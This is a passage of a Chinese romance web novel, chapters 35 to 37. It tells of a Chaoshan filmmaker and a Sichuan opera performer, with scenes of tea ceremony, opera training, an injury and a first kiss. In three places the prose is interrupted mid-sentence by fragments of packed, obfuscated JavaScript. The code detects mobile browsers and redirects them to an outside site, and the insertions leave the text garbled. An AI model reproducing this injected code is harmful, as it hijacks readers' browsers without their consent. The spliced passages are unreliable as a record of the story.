“好看吗?”一段舞毕,李霄川拄着枪喘气,胸膛剧烈起伏。汗珠顺着他的鬓角滑落,在下巴悬了片刻,最终滴落在舞台地板上。 陈声和调了调焦距,镜头里能看清他轻轻发颤的睫毛:“右边袖子乱了。” “谁问衣服了!”李霄川突然从两米高的道具台跳下来,“咚”地砸在陈声和面前,震得地板都晃。 他一把按住相机,逼着陈声和看他眼睛:“是问我……” 后台突然“哐当”一声巨响。 两人同时转头,看见社长愣在灯光控制台边上,一架金属梯子倒在他脚边还在晃。 “我……来拿落下的U盘。”社长眼神在他俩之间扫了扫,停在李霄川按相机的手上,“霄川,王老师找。” “行。”李霄川松了手,转身时铠甲清脆地响了一阵。 等李霄川去后台卸妆,陈声和在走廊等着。 “声和。”社长走过来递了瓶冰矿泉水,瓶身水珠沾湿了手指,“你知道霄川为什么从金融转回来吗?” 陈声和摇摇头,拧瓶盖时塑料吱呀响。 自动贩卖机的冷光打在社长脸上,像罩了层霜。 “他大二为了个男生,跟全寝室动了手,差点被开除。”社长停了一下,“对方话说得难听。” 陈声和手里矿泉水瓶咔咔响,塑料捏瘪的声音在安静的走廊里特别清楚。 “那男生后来出国了。”社长声音轻下来,“但是他……” 化妆间门“哗”地被拉开,暖黄灯光泼了一地。 李霄川换回T恤牛仔裤,头发还滴着水:“走不走!饿扁了!” 他胳膊一伸搂过陈声和肩膀,带着股卸妆油的柠檬味。 夜风穿过长廊,把社长没说完的话吹散了。 陈声和想起那张被红笔圈出来的照片,想起妈妈电话里的翻页声,想起社长欲言又止的表情。 而现在,李霄川走在他前面半步,荒腔走板地哼着《长坂坡》,后颈没擦净的一点银粉在走廊灯下闪闪发亮。 35.直男室友的深夜警告 那天过后,陈声和也没好奇问过李霄川出柜的事,更没打听他跟前男友的纠葛。他不是那种爱探听隐私的人,有些事知道得太多反而难堪。 周三下午没课,戏剧社的学姐们起哄要陈声和展示潮汕茶道。 活动室的老式玻璃窗半开着,微风卷着淡淡的香味溜进来,和茶香混在一处。 陈声和从帆布包里慢悠悠的取出茶具,动作很轻。茶船是老家带来的老物件,边沿磕掉了一小块漆。 潮汕工夫茶讲究高冲低斟,他手腕悬着,热水从壶口倾泻而下,激得茶叶在紫砂壶内翻腾,香气瞬间溢满整个房间。 “这叫关公巡城。”手腕一沉,茶汤在空中划出道水线,均匀分入几个白瓷杯。 社团的同学们围坐一圈,好奇地盯着那套小巧的茶具,茶杯不过拇指大小,杯壁薄如蝉翼,在阳光下一照,像快上好的玉一样。 “哇,这茶杯还没我拇指大呢!”一个学姐忍不住惊呼,伸手想碰又不好意思,“这也太迷你了吧?” 这和四川的盖碗茶完全不一样,这边喝茶要的就是个痛快,盖碗一掀,香气扑鼻,一口下去浑身舒坦。 而潮汕人喝茶,讲究的是个“工夫”,这个“工夫”可不光是时间,更是那份刻在骨子里的精细和讲究。 你看那小小的孟臣罐和三五只小杯,在茶盘上排开,就是个小小的天地。 茶要烫,杯要热,高冲低洒,关公巡城,韩信点兵……一套流程下来,行云流水。 喝的不是解渴,是那份从容不迫的心境。 李霄川盘腿坐在矮桌对面,黑色卫衣领口歪着,锁骨上还留着昨天练功时道具划出的红痕。 他捏起茶杯对着光看:“这够塞牙缝吗?” 茶香在空气中缓缓散开,不同于川茶的浓烈霸道,这香气幽远而持久。 “牛嚼牡丹。”陈声和用茶夹敲了敲他手背,随后稳稳夹起一杯茶,放在他面前,“工夫茶要三口喝完。” “嘶~”李霄川故意龇牙咧嘴,转头对学姐们告状,“看见没?潮汕人凶得很。” 社团里的学姐们笑成一团。陈声和耳根微热,垂眸继续分茶,可嘴角却不受控制地翘了一下。 李霄川的眼睛就没从他身上离开过,打趣够了,然后端起茶杯,一饮而尽。 “我靠……烫!”他瞪大眼睛,吐着舌头扇风,“这玩意儿是给人喝的还是刑具啊?” “活该。”陈声和终于没忍住,笑出了声:“谁让你一口闷的?含在嘴里三秒再咽。” “品就品。”李霄川不服气,这次学乖了,小心翼翼地抿了一口,眉头微皱,又舒展开,“……咦?有点甜?” “蜜兰香都泡开了。”陈声和轻声解释,“第三泡才是最醇的。” 李霄川识趣不接话了,手指已先于理智捻起了茶杯。白瓷映着阳光,在他虎口的茧子上投下一圈光斑。 活动结束后,社团的人三三两两离开。陈声和蹲在矮桌边收拾茶具,数到第二遍时终于确认,就是少了一只白瓷杯。 那只杯沿沾着淡淡茶渍,正好是李霄川用过的杯子。 他皱眉翻开茶巾,突然听见垃圾桶旁传来窸窣声。李霄川背对着他,鬼鬼祟祟正把什么东西往背包侧袋里塞,牛仔布料被撑出圆形的轮廓。 “……你干吗呢?” 李霄川肩膀一抖,转过来时手里攥着那只杯子。杯底还粘着片茶叶,在他指间晃了晃。 “呃,我看它挺好看的,”他拇指蹭了下杯壁的水痕,“想拿回去……当笔筒?” 陈声和看着他背包里露出的半截马克笔,这人明明连专业课笔记都懒得记。 “……那是我的杯子。” “现在是我的了。”李霄川说得理直气壮把杯子揣进卫衣口袋里,“反正你那么多。” 陈声和刚要说话,裤兜里的手机嗡嗡震了起来。 屏幕一亮,“阿妈”两个大字跳进眼里,底下通话记录显示着,离上一个未接才过了23分钟。 他嘴角那点弧度瞬间塌了,拇指悬在绿色接听键上,半天按不下去。 李霄川凑过来瞥了一眼:“不接啊?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005876|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈声和摇头,推开活动室的老木门出去了。 走廊里能听见楼下篮球场的吵闹,电话那头母亲的声音温温柔柔地扎过来:“阿和,你怎么回事?陈阿姨女儿说你一直没加微信……” 他后背靠上掉漆的窗框,一抬眼就看见窗玻璃映着的李霄川。 那人正举着杯子对着阳光眯眼瞧,嘴角翘着不知道在乐什么,杯底一片茶叶晃晃悠悠的,眼看着就要掉下来。 “妈,我现在有事,晚点再说。” 挂了电话,他在走廊杵了一会儿,直到听见活动室里传来陶瓷杯轻轻碰桌面的声音。 再推门进去时,李霄川已经坐回矮桌旁,捧着那杯早就凉透的茶,抬头冲他笑:“打完啦?” 陈声和没吭声,蹲下去拧开电陶炉。 李霄川突然冒出一句:“你皱眉头那样儿,跟川剧里的张飞似的。” 陈声和手一顿,没忍住笑出来。他往壶里加水,水面晃着李霄川晃悠悠的倒影。 “……那你要不要教我变脸?” “行啊!”李霄川手肘撑在桌上,卫衣领口歪出一截锁骨,手指在壶盖上点了点,“不过学费很贵的。得用你们潮汕手法再泡一壶。” 陈声和举起茶夹作势要敲他,李霄川笑着往后躲,却突然定住了。 水壶开始嗡嗡响,陈声和正抓着镜头布反复擦相机,指节绷得发白,好像那儿沾了什么看不见的脏东西。 李霄川脸上的笑淡了些,他什么也没问,只是伸手轻轻按住了陈声和的手腕。 “……茶要凉了。”他声音低低的。 窗外,校园里的梧桐叶子轻飘飘的,落得满地都是。 几个学生正在树下拍照,笑着捧起一捧金黄叶子,高高抛向天空,在簌簌落下的碎片里摆着姿势。 电陶炉的红光暖暖地映着两人碰在一起的手。 陈声和动作停在那里,没挣开,也没抬头。手腕上来自李霄川的体温很实在,一点点化开他绷紧的指节。 刚才心头那阵焦躁,好像也跟着这温度,慢慢沉淀了下去。 36.变成包公审你 晚秋的清晨总是带着潮湿的雾气,像一层永远揭不开的纱,笼在青瓦灰墙的老城区上空。 陈声和站在川剧院门口,对着晨雾中的川剧院飞檐拍了一张,取景框里却总是情不自禁的寻找着那个熟悉的身影。 “导演,您要不要先喝点热的?”林瑶从身后递来一杯热美式,她跺了跺脚,“今早这天儿可真够冷的。” 陈声和接过咖啡,低声道了句谢。热度透过纸杯传到掌心,却怎么也暖不进心里。他抿了一口,苦涩的液体滑过喉咙,和这些年积压的情绪混在一起。 “李老师他们已经在练功房了。说是7点开始早功,现在……”林瑶看了眼手机,“六点五十了。” 陈声和点点头,目光落在川剧院斑驳的木门上。 这段时间他几乎没睡过一个安稳觉。每次闭上眼睛,不是梦见五年前的分别,就是梦见李霄川在舞台上转身离去的背影。 不,应该说,从接到这部关于川剧传承的纪录片开始,他就知道会是这样。 成都的每一条街巷,每一处景致,都在提醒着他那些刻意遗忘的过往。就像对李霄川,他既渴望见到他,又希望就这样相忘于世界。 “喵~” 一声细细的猫叫让陈声和下意识回过头。门口石阶上蹲着只小橘猫,正歪着脑袋,怯生生地望着他。 “哎呀~小咪咪~”林瑶的心瞬间化了,赶紧蹲下身,从包里翻出火腿肠,利落地剥开递过去,“导演,这是剧院里那只大橘前两天刚生的崽。” 陈声和望着那只巴掌大的小奶猫,恍惚间好像又回到了大学时代。 那时他想养猫,可租的房子房东不让养宠物,于是李霄川一有空就拉着他去猫猫庙,一待就是一下午。 咖啡的苦味忽然在舌尖漫开,他猛地别开脸,深吸一口气,推开了川剧院那扇厚重的木门。 熟悉的松木香和淡淡的胭脂味芬芳袭来,让他有一瞬间的错觉。 这里的一切比五年前更熟悉,转角处的青砖缺了一角,楼梯扶手上的划痕多了几道,却让他更不敢面对。 “陈导,设备都调试好了。”灯光负责人抱着反光板走过来,鼻尖冻得发红,“李老师说让我们直接去三号练功房。” 陈声和喉结滚动了一下。三号练功房,那是李霄川的专属练功房,当年他常常在那里一待就是一整天。 自从重逢到现在,他们始终保持着客套的工作关系,而今天,他却要带着摄像机闯入那个曾经只对他敞开的私人领域。 练功房的门半掩着,还未走近就听见里面传来有节奏的咚咚声,是脚掌拍打地面的声音,还夹杂着偶尔的深呼吸。 陈声和抬手示意团队停下,轻轻推开门缝。 李霄川只穿着白色水衣,脸上的简妆已经画好了,此刻正在檀木把杆上压腿。他的右腿高高架在把杆顶端,脚背绷直,左手却以极其柔软的姿势勾着脚掌。 水衣随着动作滑落,露出腰间一道狰狞的疤痕,像条蜈蚣盘踞在麦色皮肤上。 陈声和不论何时看到他身上的伤疤,心脏都会猛地揪紧。 大二时李霄川为全国青年戏曲大赛,每天都在苦练倒挂金钩变脸,这个伤痕,也是那时候摔伤的。 他记得那天练功房里闷沉的撞击声,记得自己冲进去时看到的场景,李霄川躺在地上,血从腰部汩汩流出,染红了练功垫。 那时他们刚在一起没多久,他攥着病历单只敢躲在没人的地方偷偷掉眼泪,却不敢告诉姑姑他受伤了。 “要拍到什么时候?” 李霄川的声音突然响起,陈声和这才发现对方早已透过门缝的镜子发现了他们。 他尴尬地推门而入,却见李霄川已经利落地收腿,水衣袖子一抖就遮住了那道伤疤,动作快得仿佛刚才的脆弱从未存在过。 “现在开始可以吗?”陈声和示意摄像开机,声音比想象中干涩。他清了清嗓子,“我们需要拍你个人基本功训练的素材备用。” 李霄川没答话,转身时水衣下摆扬起。他径直走到兵器架前,手指在十八般兵器上方逡巡,最后抽出一杆银枪。 枪身在他掌中转了个漂亮的回旋,枪尖划破空气发出一声啸叫。他一个鹞子翻身,枪杆啪地砸在地面,震得地板嗡嗡作响。 这一式是川剧武生入门必学的“二十四路枪法”起手式。 “这是探海式。”李霄川的声音带着练功时气息声,枪尖忽地指向镜头后的陈声和,“陈导应该不了解吧?” 他的尾音微微上扬,像枪尖一样刺人。 陈声和握紧了取景器,指腹感受到金属的冰凉。 关于李霄川的每一件事情,他都记得,并且非常清楚。 大二那年李霄川手把手教他这套枪法,他总记不住转腕的力道,枪杆不是脱手就是转得太慢。 每次练习到最后,总是以他被枪杆绊倒,跌进对方怀里收场。李霄川身上的松木香和汗水混合的味道,他至今都记得。 而重逢后的每一天,李霄川都在帮他回忆过去。 “能不能展示变脸?”老张刚问出口就被陈声和打断,“先拍基本功。” 李霄川嘴角一挑,手中银枪忽地抛向半空。枪身飞旋间他已纵身跃起,衣摆翻飞,真像只展翅的白鹤。 在最高点接住枪尖的同时,脸上赫然已多了张关公脸谱。红脸黑须,丹凤眼凛然生威。 “这是抛枪变脸。”他的声音透过脸谱传来,“川剧变脸三十六式里最难的一种。” 他手腕轻抖,长枪“唰”地飞回兵器架,分毫不差地正中孔槽。 四周顿时炸开掌声,夹杂着“怎么变的啊?”,“我去,刚才那下太神了!”的惊呼。 陈声和知道这是挑衅。 李霄川很清楚他最爱拍的就是变脸前的准备过程:勾脸时的虔诚,系披风时的庄重,那些面具之下的真实瞬间。 而现在,对方直接跳过了所有前戏,就像在说:你不是要走吗?那就只看结果好了。 “李老师能分解动作吗?我们需要特写。”陈声和尽量让声音平稳,但他的喉结还是不受控制地滚动着,出卖了自己。 李霄川抬手摘下面具,露出被淡妆覆盖的真容。他用小指蘸了蘸茶碗里的清水,轻轻润开额角的胭脂。 陈声和的手指在镜头焦距环上抠紧。 “陈导现在喜欢直给的了?”李霄川抬眼看他,手指还沾着一点胭脂红。 练功房里的空气忽地凝固。剧组新来的场记不明就里地偷笑,被林瑶狠狠瞪了一眼。 陈声和假装调整焦距,他离开时说过最重的话就是:“李霄川,你太咄咄逼人了”。 现在对方正在用行动证明这句话。 “从勾脸开始拍吧。”陈声和最终妥协道。 李霄川转身出去了,道具组迅速抬来一个化妆台摆好,等他再次进来时,脸上的简妆已经卸掉了,头发上还带着一些水珠。 走到化妆台前坐下,李霄川拿起勾脸笔的姿势像拿着一把箭似的。 陈声和不由自主地凑近,镜头对准他手腕的转动。 这个距离能清楚地看到李霄川小指上的茧。笔尖蘸取朱砂时要顺时针搅三圈,这是川剧老艺人传下的规矩,当年李霄川说这叫“三生万物”。 “川剧脸谱有红忠白奸之说。”李霄川淡漠地开口,笔尖在眉弓处拉出一道飞扬的红色,“关公的丹凤眼要一笔成型,就像……” 他的笔锋一顿,朱砂在眉心聚成一颗红痣:“就像某些事,断了就续不上了。” 陈声和的手抖了一下。 取景器里李霄川的眼睛在红妆衬托下黑得惊人,让他想起那段糟糕的时间里,对方也是这样勾着关公脸,在后台堵住他说:“陈声和,你敢走我就用这面目记你一辈子。” 那天脸上的油彩被卸妆水冲花,关公的丹凤眼变成了一道血红的泪痕。 “接下来是倒挂金钩变脸。”李霄川说着起身扯掉水衣,露出绑满护具的上身。 他的动作太突然,摄影师差点没跟上焦。镜头推进时,陈声和这才注意到他左肩的护具分外厚重,边缘还透着淡黄色药渍。 没等团队准备好,李霄川已经跃上特制的高架。他倒悬时肌肉绷出锋利的线条,腰间那道疤完全暴露在镜头前,像一条永远无法愈合的裂缝。 陈声和却突然喊了停:“护具松了。” 他的声音绷得发紧,目光死死锁在李霄川左肩那块摇摇欲坠的护具上 李霄川充耳不闻,猛地甩头变出第一张脸谱,黑底金纹的包拯,额间月牙在练功房的顶灯下刺的陈声和眼睛生痛。 他记得这是李霄川最拿手的角色,那时候他们总开玩笑说“以后吵架我就变包公审你”,没想到一语成谶了。 “第十八个了!”林瑶小声数着,声音里带着惊叹。 不仅仅是他,合作一个多月,剧组从开始的不鸟你,变成了真心实意的一句“李老师这人没的说”。 倒挂状态下的连续变脸极其消耗体力,李霄川的呼吸已经变得粗重,汗水顺着下巴滴在护具上,洇出一片深色痕迹。 陈声和盯着监视器,发现他每次甩头时左肩都会不自然地抽搐,那个旧伤位置随着动作被牵扯着。 “可以了,今天就到这里。”陈声和在对讲机里说。 李霄川却仿佛没听到,继续变出第二十张脸谱,这是罕见的白蛇造型。雪白的底色上蜿蜒着青鳞纹路,本该柔美的蛇精面容在他倒悬的脸上显出几分狰狞。 陈声和心头猛地一跳,手比大脑快,迅速将镜头推近。 这是《白蛇传》里白素贞盗仙草时的怒相,当年他们一起排这出戏时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005877|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李霄川总说:“白娘子发怒不是恨许仙负心,是恨天道不公。” 就在他完成最后一个甩头动作时,护具缝隙突然渗出一道鲜红,血珠子直接飞出来溅在木地板上。 “停!”陈声和几乎是扑过去的,一把接住那个往下坠的人。 李霄川整个人的重量撞得他往后踉跄了好几步,后腰“哐”一声狠狠磕在檀木把杆上。尖锐的疼顺着脊椎蹿上来,他咬咬牙没出声。 那熟悉的血腥味与跌打药的气味一下子冲进鼻腔,像被什么东西猛地拽回了大二那年。 李霄川第一次肩伤复发,也是这样滚烫地倒在他怀里,汗跟血混在一起,在地板上淌得到处都是。 现场顿时乱成一锅粥。场务手忙脚乱地翻医药箱,摄影师差点带倒三脚架。 可陈声和却异常冷静。他一只手迅速扯开李霄川水衣的系带,动作熟练得像做过几百遍。 布料滑下来,露出肩膀上那片血肉模糊。旧伤又撕裂了,伤口边缘还粘着几片碎脸谱,像被硬生生扯下来的面具。 “医药箱!”他吼了一嗓子,同时从林瑶递来的包里掏出个小铁盒。 那是个老旧的万金油盒子,边角都磨得发亮。 林瑶拿着纱布愣在那:“导演您还随身带药膏啊?” 陈声和没接话,只是用手指挖出一坨青绿色的药膏,轻轻抹在伤口上。 这是潮汕那边特制的青草跌打膏。 大学那会儿李霄川总说这玩意儿臭得像螺蛳粉,但效果特好,每次练功受伤就死缠着要他帮忙抹。 药膏碰到伤口的那一刻,李霄川全身肌肉猛地一紧。他转过那张沾满汗水和油彩的脸:“……谢了,陈导。” 他的声音因为疼痛有些哑了,嘴角却挂着点笑,或许在这一刻,李霄川心里觉得是值得的。 陈声和低头缠绷带,语气平淡:“导演组常备的跌打药。” 他撒谎的时候睫毛会轻轻抖,这点李霄川比谁都清楚,倒也没拆穿。 绷带一圈圈绕上肩膀,李霄川却忽然轻声问:“那这道疤……你还记得怎么来的吗?” 旁边的林瑶识趣地走开了,老张也招呼大家休息。 陈声和缠绷带的手指一顿,差点扯到伤口。 他怎么会忘。 那天李霄川刚收到省剧团破格录取的通知,俩人也在闹别扭,他突然接到父亲心梗的电话,转身就赶回了潮州。 等他三天后回来,才知道李霄川在练功房自虐式地练了整整三天倒挂变脸,最后从高架上摔下来,被枪尖划出了这道口子。 “不记得了。”陈声和剪断绷带,起身时却被拽住袖口。 李霄川的手指上还沾着油彩,在他浅色衬衫袖口留下道红痕。 还没等他开口,一位助理拿着手机进来,对着陈声和晃了晃,用潮汕话喊道:“陈导,您母亲电话!” 陈声和像被热油烫到一样,猛地抽回手,转身时他听见李霄川很轻的笑声,接着是撕开绷带的刺啦声。 走到门口他忍不住回头,正看见李霄川将染血的纱布扔进垃圾桶,脸上的淡妆油彩被汗水晕开,像在流泪。 “明天拍文戏。”陈声和最终只丢下这句话转身走了。 …… 剧组收工离开后,练功房里最后只剩下李霄川一个人对着镜子卸妆。 化妆台上散落着剥落的白蛇脸谱碎片,一片一片的,跟蛇蜕的皮似的。 他肩膀上新缠的绷带已经渗出血迹,青草膏掺着血腥味,直往鼻子里钻,闷得人难受。 窗外传来器材箱轮子咕噜咕噜碾过石板路的声音,陈声和他们团队的脚步声也越走越远。 他盯着镜子里那张被油彩和汗水糊得乱七八糟的脸,突然一把抓起卸妆油瓶子,哗啦一下倒了一手。 液体流得满手都是,多余的顺着额头淌进眼睛里,刺得他眼睛生疼,那灼烧感一直从眼球蔓延到太阳穴。 他觉得眼眶发烫,但不知道为什么,大概是这卸妆油化学成分太高,太刺激了吧。 镜子里的影像开始扭曲变形,油彩化开的那一瞬间,他好像又看见了五年前机场那个安检口。 陈声和的背影在人群里显得特别单薄,那道安检门在他眼里慢慢变形,最后变成了川剧《奈何桥》里的鬼门关。 ——跨过去的人,就再也回不来了。 他手里攥着那张一直没用的潮汕机票,手指捏得发白,就这么一直看着陈声和的背影彻底消失在转角。 整整五年了……那个始终没有回头的背影,成了他梦里最常出现的画面。 生理性泪水冲开脸上没卸干净的油彩,在脸颊上划出两道清晰的痕。 这种灼烧的痛感,和当年在机场硬生生把眼泪憋回去时,那发热发胀的感觉……在这一刻,居然离奇地重合在了一起。 37.那……再亲一会儿…… 大一下学期最后一节课的下课铃响起时,陈声和正把笔记本塞进背包。 窗外蝉鸣聒噪,六月的阳光透过梧桐叶的间隙,在教室地板上投下斑驳的光影。 “陈声和!”李霄川的声音从走廊传来,带着掩饰不住的雀跃。 他斜倚在门框上,白色T恤把袖口随意卷到肘部,露出晒成小麦色的小臂,手里攥着两张被汗水浸得有些发皱的电影票,边缘甚至都起了毛边。 陈声和低头拉上背包拉链,嘴角却忍不住上扬。他能感觉到李霄川灼热的目光落在自己发顶,像窗外热烈的阳光。 那天电影最终还是没看成,因为天气实在太热了,又加放假,他们在校门口等了快二十分钟都没坐上车。 李霄川见小广仔热的脸都红了,没犹豫半点儿,直接就把电影退了,倒是把那两张票留着了。 于是俩人买了杯奶茶溜达去了更衣室里。 李霄川进去后反手锁上门,动作很轻,但陈声和还是听见了锁舌卡住的咔铮声,还是不自觉的紧张了起来。 他的后背抵上冰凉的铁皮柜门,金属的寒意透过单薄的衬衫渗进来。 李霄川的手指有些发抖,先是小心翼翼地碰了碰他的脸颊,然后慢慢滑到颈侧,指腹上的茧子蹭得他喉结有些发痒。 “在一起吗?”李霄川小声问,声音比平时低了很多,带着明显的紧张。 陈声和能闻到这人身上淡淡的药味,混合着阳光晒过的棉布气息。 他没说话,只是仰起脸闭上了眼睛,睫毛却在剧烈颤抖,他听见李霄川轻笑了一声,温热的鼻息扑在他脸上。 他不好意地踢了一脚李霄川,然后被搂住了。 这个吻开始得很轻,像李霄川第一次教他川剧水袖功时的力道,柔软得不可思议。 但很快变得急切起来,陈声和尝到他唇间薄荷糖的味道,混杂着中午抽烟时留下的气息,还有铁锈味…… 好吧,是他太紧张不小心咬破了李霄川的舌尖。 柜门的棱角硌得他肩胛生疼,但下一秒他整个人跌入一个滚烫的怀抱里,被圈得毫无退路可言。 李霄川的手臂肌肉紧绷,像铁箍一样牢牢环住他。 陈声和只能更用力地攥紧了李霄川的衣摆,棉质布料在他掌心皱成一团。 远处传来球场上学生的欢呼声,更衣室老旧的排风扇还在头顶吱呀转动,像凑热闹的老头儿,扇叶上积了厚厚的灰尘。 陈声和恍惚地想,原来接吻的时候真的会腿软,身体会出现酥麻的感觉,就像那些青春片里演的一样。 他的膝盖发颤,唇角会不受控制的溢出让人脸红的声音,于是他不得不攀住李霄川的肩膀保持平衡。 分开时两人的呼吸都乱了节奏。 李霄川的拇指蹭过陈声和发烫的耳垂,轻笑出声:“幺儿,以后,我就是你男朋友了。”他的声音里带着掩不住的得意,像是终于得到了觊觎已久的珍宝。 陈声和想反驳,却发现自己的声音哑得不像话,最终只是“嗯”了一声。 他低头看见两人的影子在地板上融成一团,就像窗外那株交颈的梧桐,枝叶纠缠在一起,分不清彼此。 李霄川握住他的手,十指相扣,随后在他们交缠的手指上落下一个吻,什么也没说,只是带着笑看着他。 他的眼睛亮得惊人,像是盛满了整个夏天的阳光。 “……早就知道你没安好心。” 陈声和小声反驳,却没有抽回手,反而握紧了一些,另一只揽住了李霄川的腰。将滚烫脸贴在他的胸膛,他能感觉到T恤下紧实的肌肉线条绷紧又放松。 “蓄谋已久啦。”李霄川的声音里带着掩饰不住的笑意。 陈声和唇瓣微启,还没来得及出声,就又被他俯身吻住。 一个绵长的吻结束,李霄川才用鼻尖蹭了蹭他发烫的耳廓,含糊问:“带你去吃新开那家日料?” “唔……”陈声和发出一个模糊的音节,感觉自己脸上的热度快要蔓延全身了,却还是小声要求,“还想吃冰淇淋。” “成,哈根达斯嘛。”李霄川答应得爽快,却又立刻捏了捏他的手指,补了句,“不过只能吃一个。” 陈声和没再争论,只是踮脚凑近,把发烫的脸埋在他肩头,声音闷闷地传出来:“那……再亲一会儿……” 李霄川低笑出声,随即顺从本心,重新覆上那片令他眷恋的柔软。 他们的爱情是符合文艺片的,至少陈声和是这么觉得。 阳光、汗水、青春的气息,还有每次接吻带着薄荷和麻辣味道的吻。 李霄川给予他的一切,都是毫无保留,最好的,包括感情。就像此刻透过更衣室小窗照进来的阳光,炽热得让人睁不开眼 他一直都没告诉过李霄川自己的小心思,一年前在戏台下的初遇,是他先动了心。 以至于后来李霄川带着目的登台时,他早已备好了掌声,等着那人来演这一场对手戏。 …… 十月的成都,银杏叶子边儿已经开始泛黄了。 学校戏曲社那间堆满道具的屋子里,陈声和正蹲在地上,仔细擦着那台老旧的尼康□□。 镜头在斜照进来的阳光里,一闪一闪反着光。他拿着绒布正抹过机身,就听见门轴吱呀一声,被人推开了。 “又加练啊?”陈声和头也没抬,手指摸过相机侧边那道浅浅的刻痕。 那是上周李霄川教他变脸手法时,不小心磕碰到的。 李霄川没应声,先扯了扯汗湿贴在背上的练功服,喉咙动了动,看得出来渴得厉害。他抓起陈声和随手放在窗台上的保温杯,拧开就灌了两大口,结果下一秒就被呛得皱起眉。 “这啥东西啊?又甜又苦的……” “潮汕三宝茶,我放了陈皮跟老药桔。”陈声和说着抬起头,视线往李霄川不自然耸动的肩膀上一落,“你肩膀是不是又……” 话还没说完,李霄川突然一个云里翻腾空跃起,像是想证明啥似的。可落地的时候没稳住,晃了一下。 陈声和心里一紧,猛地站起来,手里的相机“哐”一声重重磕在桌角。 “真没得撒子事,就韧带有点……”李霄川话还没说完,整个人就歪了下来。 陈声和赶紧扔下相机伸手接住他。李霄川浑身是汗,那熟悉的跌打药酒味与汗气迎面冲来。 不用问,这人肯定又带着伤练了一整天。 俩人晃到校医室门口,发现门锁着。 陈声和只好半扶半架着他往宿舍走。路上碰见几个同学,眼神往他俩这儿瞟。 李霄川在陈声和看不见的那侧抬起眼,没什么表情地扫过去一眼,那几个人立马识相地走开了。 室友张远正瘫在床上刷手机,一见他俩这造型进来,抓起篮球就跳起来:“那啥……我去球场打个球!” 李霄川瘫进椅子里,看着陈声和蹲在那儿翻箱倒柜,最后摸出个青花瓷的小罐子。 “这玩意儿长得像我奶奶的骨灰盒。”李霄川声音发虚,却还在贫嘴。 陈声和挖出墨绿色药膏抹在他肩胛:“我们潮汕的青草药膏,比你们四川的……” 他话说到一半立马停下,掌心下的肌肉突然绷成铁板。李霄川额头抵着床柱,后颈的脊椎骨清晰可见,像要刺破皮肤。 “疼就喊出来。” “喊个锤子。”李霄川的四川话冒出来,尾音却变了调。 陈声和放轻力道,手指碰到一道凸起的旧疤:“这是怎么弄的?” “小时候学倒僵尸,师父说摔的不够狠不像。”李霄川察觉到了广东仔心情低落,陈声和的手悬在半空被他一把握住,“陈导,你的手好软。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005878|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夕阳的余晖透过窗帘缝隙斜射进来,在,没开灯的宿舍里,李霄川的眼睛像两簇跳动的炭火。 陈声和缩回手,药罐盖子拧了三次才合上:“……耍什么流氓。” 他的脖子都红了,却没舍得说什么重话。 到了半夜后,李霄川毫无征兆地发起高烧,和他关系好的学长给陈声和打了电话。 他穿着睡衣匆忙来到宿舍,用毛巾给他擦汗的时候,听见他含混地说梦话:“……声和,我要是翻不了跟头了……” 陈声和的手顿在半空。一句潮汕话不自觉溜出唇间:“勿惊,我企在这。” (别怕,我在这) 李霄川滚烫的手攥紧他的手腕,那里有块浅色疤痕,他的拇指轻轻摩擦着那块疤痕,好像在说“小广仔这么漂亮的手腕长了个月牙儿,算是锦上添花,不丑。” 那晚他守了一整夜。宿舍里其他学长都跟李霄川关系铁,见怪不怪了,还主动帮忙打掩护,有人来串门就被三言两语支开。 天蒙蒙亮时,陈声和做了件在张远看来简直不可思议的事……他翘了早课。 五点半的118路公交空荡荡的,他独自坐在后排靠窗。晨雾里的城市刚刚苏醒,街灯还亮着昏黄的光。 他在文殊院门口下车,扫地僧正好推开朱漆大门。古柏上的露水不偏不倚滴进他后颈,凉得他浑身一哆嗦。 “学生娃儿,”穿海青的居士笑着打量他,“要求学业该去拜文昌帝君。” “我求……”陈声和摊开掌心,看着上面发红的水泡,“平安。” 居士领他绕过主殿。 偏殿门槛很高,他跪下去时,膝盖硌到张皱巴巴的纸条,是昨天李霄川偷偷夹在他《视听语言》课本里的。 上面歪歪扭扭写着:“周六带你去吃新开的潮汕牛肉丸,不正宗我表演吞剑。”旁边还画了个吐舌头的鬼脸。 香案上的木雕观音低眉浅笑,那眉眼竟有几分像李霄川演杜丽娘时的扮相。 陈声和从钱包最里层抽出张全家福,照片边角都磨毛了。 “妈,这是李霄川……”他脱口而出,又猛地闭嘴,慌乱地把刚求的平安符和照片一起塞回去。 回程的公交经过那家“王妈蹄花”,李霄川念叨过好几次。 陈声和鬼使神差下了车。打包时,老板居然认出了他:“蹄花要蘸这个秘制酱料,你那个同学最爱这个味儿。” 